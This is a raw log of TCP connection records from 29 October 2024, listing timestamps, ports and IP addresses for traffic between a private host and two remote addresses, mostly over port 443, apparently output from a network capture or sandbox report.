Oct 29, 2024 13:08:46.984534025 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.985779047 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.985835075 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.985905886 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.986450911 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.986479044 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:46.986639023 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:46.986653090 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.003984928 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.004057884 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.004108906 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.004394054 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.004415035 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.004450083 CET	60532	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.004457951 CET	443	60532	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.020859957 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.020879984 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.021012068 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.041301966 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.041415930 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.041541100 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.115617990 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.115643978 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.134120941 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.134160995 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.134179115 CET	60534	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.134188890 CET	443	60534	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.136924028 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.136975050 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.137077093 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.137264967 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.137285948 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.719146013 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.719767094 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.719784975 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.720225096 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.720391989 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.720397949 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.720701933 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.720766068 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.721206903 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.721225023 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.746581078 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.747009039 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.747045994 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.747823000 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.747833014 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.850265980 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.850322962 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.850433111 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.850785971 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.850785971 CET	60536	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.850804090 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.850812912 CET	443	60536	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.853873014 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.853908062 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.854222059 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.854424000 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.854439020 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.854723930 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.854909897 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.854986906 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.855037928 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.855072975 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.855098963 CET	60535	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.855117083 CET	443	60535	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.857816935 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.857860088 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.857933998 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.858063936 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.858081102 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.869113922 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.869544983 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.869575977 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.870126009 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.870140076 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.871465921 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.871814966 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.871831894 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.872376919 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.872383118 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.881828070 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.881977081 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.882039070 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.882242918 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.882266045 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.882281065 CET	60537	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.882287979 CET	443	60537	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.888063908 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.888077021 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:47.888133049 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.888375998 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:47.888389111 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.002614021 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.003281116 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.003353119 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.003355980 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.003413916 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.003458977 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.003479004 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.003539085 CET	60539	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.003546000 CET	443	60539	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.005980015 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.006016970 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.006247997 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.006375074 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.006392956 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.007565975 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.007647991 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.007824898 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.007880926 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.007880926 CET	60538	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.007890940 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.007900000 CET	443	60538	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.010426044 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.010442019 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.010534048 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.010674000 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.010685921 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.556803942 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:48.562366009 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:48.637316942 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.637317896 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.638060093 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.638099909 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.638099909 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.638132095 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.638766050 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.638772964 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.638860941 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.638875008 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.639707088 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.640075922 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.640084028 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.640593052 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.640598059 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.736167908 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:48.736236095 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:48.741535902 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:48.741614103 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:48.741683960 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:48.742083073 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:48.742111921 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:48.743498087 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.744024038 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.744051933 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.744515896 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.744524002 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.745415926 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.745780945 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.745804071 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.746344090 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.746350050 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.767247915 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.767419100 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.767504930 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.767668962 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.767714977 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.767729044 CET	60542	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.767735958 CET	443	60542	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.768071890 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.768218040 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.768316031 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.768493891 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.768517971 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.768533945 CET	60541	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.768542051 CET	443	60541	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.773104906 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.773139954 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.773534060 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.774972916 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.775002003 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.775089979 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.775353909 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.775378942 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.775748968 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.775764942 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.777872086 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.777945995 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.778065920 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.778502941 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.778512001 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.778534889 CET	60540	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.778539896 CET	443	60540	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.781028986 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.781061888 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.781274080 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.781497002 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.781512022 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.873265028 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.873286963 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.873357058 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.873358965 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.873404980 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.873598099 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.873616934 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.873627901 CET	60543	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.873632908 CET	443	60543	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.875619888 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.875729084 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.875818014 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.875830889 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.875850916 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.875917912 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.875966072 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.875979900 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.876000881 CET	60544	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.876008034 CET	443	60544	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.876838923 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.876872063 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.877026081 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.877232075 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.877244949 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.878593922 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.878621101 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:48.878690958 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.878822088 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:48.878833055 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.459183931 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.459405899 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.466589928 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.466604948 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.469580889 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.469588995 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.505788088 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.511751890 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.511771917 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.515399933 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.518210888 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.518222094 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.521593094 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.521615028 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.525038004 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.525046110 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.525631905 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.528033972 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.528054953 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.534157038 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.534163952 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.630115986 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.642096043 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.642194033 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.642287970 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.647427082 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.647490025 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.647500992 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.647521973 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.647537947 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.647548914 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.647567987 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.647567987 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.648104906 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.648113012 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.648453951 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.648473024 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.648493052 CET	60547	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.648499012 CET	443	60547	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.649966955 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.651144981 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.651165962 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.651494026 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.651498079 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.652302980 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.652309895 CET	443	60545	51.81.194.202	192.168.2.5
Oct 29, 2024 13:08:49.652327061 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.652357101 CET	60545	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:08:49.654036999 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.654550076 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.654683113 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.654696941 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.654733896 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.654844046 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.654886007 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.654886007 CET	60546	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.654902935 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.654913902 CET	443	60546	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.661834002 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.661967993 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.662007093 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.662025928 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.662056923 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.673680067 CET	60548	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.673703909 CET	443	60548	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.679200888 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.679238081 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.680916071 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.682504892 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.682523012 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.694854021 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.694885015 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.695208073 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.698498964 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.698534012 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.698954105 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.705544949 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.705578089 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.705643892 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.705657005 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.776258945 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.776397943 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.776480913 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.777674913 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.777694941 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.777750015 CET	60549	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.777757883 CET	443	60549	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.780582905 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.780637026 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.781004906 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.781337976 CET	60554	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.781368971 CET	443	60554	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.785975933 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.785990953 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.786037922 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.786051035 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.786079884 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.786288977 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.786307096 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.786324978 CET	60550	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.786329985 CET	443	60550	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.871933937 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.871963978 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:49.872042894 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.872200012 CET	60555	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:49.872210979 CET	443	60555	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.413671970 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.414194107 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.414225101 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.414669037 CET	60551	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.414674997 CET	443	60551	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.438736916 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.439251900 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.439296007 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.439729929 CET	60552	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.439743996 CET	443	60552	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.449263096 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.449760914 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.449780941 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.450110912 CET	60553	443	192.168.2.5	13.107.246.45
Oct 29, 2024 13:08:50.450117111 CET	443	60553	13.107.246.45	192.168.2.5
Oct 29, 2024 13:08:50.511893988 CET	443	60554	13.107.246.45	192.168.2.5
